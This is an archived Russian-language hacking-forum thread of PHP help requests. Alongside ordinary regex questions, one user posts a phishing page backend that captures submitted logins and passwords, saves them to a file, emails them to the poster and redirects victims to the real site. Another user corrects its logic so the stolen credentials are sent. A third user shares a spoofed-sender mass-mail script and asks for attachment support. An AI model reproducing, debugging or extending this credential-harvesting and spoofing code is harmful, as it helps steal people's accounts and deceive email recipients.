ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

02.03.2009, 19:40
|
|
Постоянный
Регистрация: 05.05.2008
Сообщений: 403
Провел на форуме: 2375039
Репутация:
1160
|
|
Сообщение от heretic1990
как с помощью функции preg_match или preg_match_all вывести текст который находится промеж тегов?
<nobr> какой то текст </nobr>
preg_match('#<nobr>(.*)</nobr>#',$in,$out);
|
|
|

02.03.2009, 19:44
|
|
Постоянный
Регистрация: 02.07.2008
Сообщений: 472
Провел на форуме: 3728999
Репутация:
444
|
|
всем спс
|
|
|

02.03.2009, 20:11
|
|
Новичок
Регистрация: 07.12.2008
Сообщений: 10
Провел на форуме: 46291
Репутация:
8
|
|
function wans($to)
{
$th=rand(1,100);
if($th<=$to) return TRUE;
return FALSE;
}
|
|
|

02.03.2009, 20:53
|
|
Участник форума
Регистрация: 29.11.2005
Сообщений: 122
Провел на форуме: 1050637
Репутация:
27
|
|
не вижу отличия от моей функции, то что у тебя rand используется, он же намного режи генерирует рандомное число чем mt_rand.
и я (<=) забыл в своем примере.. но все равно это не то мне кажется что есть более лучшей вариант с более точным результатом....
|
|
|

02.03.2009, 21:08
|
|
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме: 1325167
Репутация:
100
|
|
Сделал фейк.
Тестирую.
И захотелось, чтобы приходило уведомление на email
Нацарапал следующий скрипт(аналог со скамом из Хакера)
PHP код:
<?php
if ((isset($_POST["user"])) and (isset($_POST["password"]))) { //проверка ну существование запроса
$message = $_POST["user"]; // наши переменные
$message = $_POST["password"]; // наши переменные
$good = 'GOOD.txt'; //название файла, в который будут записыватся данные
$good = fopen($good,'a'); // открыие файла
$send = $_POST['user'].':'.$_POST['password']; //создание запроса
fwrite($good, $send."\n"); //запись в файл
echo "<script language=JavaScript>window.location='http://сайт.нах/'</script>";}; // отсылка на настоящую страницу
?>
<?php
if (empty($_POST["user"]) || empty($_POST["password"])){
mail("мой майл", "info", $_POST["password"]);
mail("$message", "eshat", $message);
};
?>
Проблема в том, что он посылает email уведомление, но совершенно пустое.
Там не фиксируются логины и пароли.
Можете помочь?
|
|
|

02.03.2009, 21:15
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме: 3941248
Репутация:
668
|
|
ВО 1 .. я не понел строки ..
$message = $_POST["user"]; // наши переменные
$message = $_POST["password"]; // наши переменные
зачечем ты присваеваешь переменной $_POST["user"]; а потом изменяешь её значение на $_POST["password"];(перезаписываешь)
Во 2
if (empty($_POST["user"]) || empty($_POST["password"])){
отсылка уведомления идёт только когда один из них или они оба пустые ... и чего ты ждёшь в письме?
В 3
echo "<script language=JavaScript>window.location='http://сайт.нах/'</script>";
ставь после отсылки уведомления ...
Последний раз редактировалось Doom123; 02.03.2009 в 21:24..
|
|
|

02.03.2009, 21:23
|
|
Постоянный
Регистрация: 07.11.2007
Сообщений: 392
Провел на форуме: 1325167
Репутация:
100
|
|
ВО 1 .. я не понел строки ..
$message = $_POST["user"]; // наши переменные
$message = $_POST["password"]; // наши переменные
зачечем ты присваеваешь переменной $_POST["user"]; а потом изменяешь её значение на $_POST["password"];(перезаписываешь)
Перезаписываю?
Я хотел задать $message суперпеременной и встроить в письмо, чтобы приходили текста типа:
вася : вася
Во 2
if (empty($_POST["user"]) || empty($_POST["password"])){
отсылка уведомления идёт только когда один из них или они оба пустые ... и чего ты ждёшь в письме?
Данные логина и пароля.
Я не понял следующего:
отсылка уведомления идёт только когда один из них или они оба пустые ...
В каком случае тогда не приходят уведомления? Когда они не пустые?
То есть их нужно задать снова?
|
|
|

02.03.2009, 21:29
|
|
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме: 3941248
Репутация:
668
|
|
Ershik мдяя ... слу мож ты книжку хоть почитаешь ...
$message - суперпеременная ? Оо
еси хочешь в таком виде такделай как сделанов перемменой $send
у тебя условие идёт ...
ЕСЛИ $_POST['user'] пустой ИЛИ $_POST['password'] пустой .. делаем следуйшее...
а тут отправка уведомления ...
делай if (!empty($_POST["user"]) && !empty($_POST["password"]))
|
|
|

02.03.2009, 21:41
|
|
Новичок
Регистрация: 19.11.2008
Сообщений: 6
Провел на форуме: 16517
Репутация:
1
|
|
PHP код:
<?php
print <<<HERE
<style type = "text/css">
body {
font-family: Arial;
}
#inputone {
width: 100%;
}
#textarea {
width: 100%;
height: 500px;
}
#infotd {
font-size: 13px;
width: 100px;
}
#infotd2 {
font-size: 13px;
}
#bgcolor_infotd {
background-color: #dbeaff;
}
#good_send {
color: #00419a;
}
#sends {
width: 20px;
}
#notice {
color: red;
}
</style>
HERE;
$html_or_text = $_GET["html_or_text"];
$sends = $_GET["sendes"];
if($_GET["html_or_text"] == 1) {
$htmltext = "\r\nContent-type: text/plain";
} else if ($_GET["html_or_text"] == 2) {
$htmltext = "\r\nContent-type: text/html";
} else {}
if($_GET["codir"] == 1) {
$cod = "windows-1251";
} else if ($_GET["codir"] == 2){
iconv("windows-1251", "utf-8", $email . $them . $body . $send_full . $htmltext);
$cod = "utf-8";
} else {}
$mime = "$htmltext; charset = \"$cod\"";
if($_GET["sender_name"] == TRUE) {
$sender_full = $sender_name . " <" . $sender_mail . ">";
} else {
$sender_full = $sender_mail;
}
if(isset($_GET["send"])) {
for($i = 0; $i < $_GET["sendes"]; $i++) {
mail("$email", "$them", "$body", "From: $sender_full $mime");
}
print "<center><span id = \"good_send\">Сообщение отправлено</span></center>";
$fp = fopen("result.txt", "a");
$content = <<<HERE
IP: $REMOTE_ADDR
Agent: $HTTP_USER_AGENT
Cookie: $QUERY_STRING
-
Отправитель (e-mail): $sender_mail
Отправитель (имя): $sender_name
E-mail: $email
Тема: $them
Текст письма -
$body
text/html: $html_or_text
Количество писем за раз: $sends
-----------------------------
HERE;
fputs($fp, $content);
fclose($fp);
} else {
print <<<HERE
<form>
<table border = "0" width = "100%" id = "infotd2" cellpadding = "1" cellspacing = "1">
<tr id = "bgcolor_infotd">
<td id = "infotd">
От кого (e-mail):
</td>
<td>
<input type = "text" id = "inputone" name = "sender_mail" value = "bill@microsoft.com" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td id = "infotd">
От кого (Имя):
</td>
<td>
<input type = "text" id = "inputone" name = "sender_name" value = "Билл" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td id = "infotd">
Кому<span id = "notice">*</span>:
</td>
<td>
<input type = "text" id = "inputone" name = "email" value = "admin@mail.ru" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td id = "infotd">
Тема письма<span id = "notice">*</span>:
</td>
<td>
<input type = "text" id = "inputone" name = "them" value = "Hello" />
</td>
</tr>
<tr id = "bgcolor_infotd">
<td valign = "top" id = "infotd">
Текст письма<span id = "notice">*</span>:
</td>
<td>
<textarea name = "body" id = "textarea">You are lol:)</textarea>
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
Файл: <input type="file" name="File"> - Вы можете прикрепить файл размером не больше 2мб.
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
<input type = "radio" name = "html_or_text" value = "1" checked = "checked">Только текст
<input type = "radio" name = "html_or_text" value = "2">HTML и текст
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
Количество писем за раз:
<select name = "sendes">
<option value = "1">1</option>
<option value = "2">2</option>
<option value = "3">3</option>
<option value = "4">4</option>
<option value = "5">5</option>
<option value = "6">6</option>
<option value = "7">7</option>
<option value = "8">8</option>
<option value = "9">9</option>
<option value = "10">10</option>
<option value = "11">11</option>
<option value = "12">12</option>
<option value = "13">13</option>
<option value = "14">14</option>
<option value = "15">15</option>
<option value = "16">16</option>
<option value = "17">17</option>
<option value = "18">18</option>
<option value = "19">19</option>
<option value = "20">20</option>
</select>
</td>
</tr>
<tr id = "bgcolor_infotd">
<td colspan = "2">
Кодировка письма:
<select name = "codir">
<option value = "1">windows-1251</option>
<option value = "2">utf-8</option>
</select>
</td>
</tr>
<tr>
<td valign = "top" colspan = "2">
<table border = "0" width = "100%" id = "infotd2">
<td valign = "top">
Поля отмеченные знаком <span id = "notice">*</span> обязательны для заполнения
</td>
<td colspan = "2" align = "right">
<input type = "reset" value = "Вернуть" />
<input type = "submit" value = "Отправить" />
<input type = "hidden" name = "send" />
</td>
<table>
</td>
</tr>
</form>
HERE;
}
?>
Парни кто сможет дописать здесь функцию отправки вложения, скрипт взял отсюда с темы Полезный скрипты сам в ПХП я неселён
буду очень блогодарин за помощь.
|
|
|

02.03.2009, 22:21
|
|
Участник форума
Регистрация: 30.01.2009
Сообщений: 196
Провел на форуме: 505362
Репутация:
66
|
|
Очень прошу, распишите основной синтаксис preg_match_all(), буквально в общих чертах, в частности я путаюсь с выходной переменной-массивом, немогу понять что где лежит(под каким индексом) Если можно пару примеров. С меня + =) спасибо
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|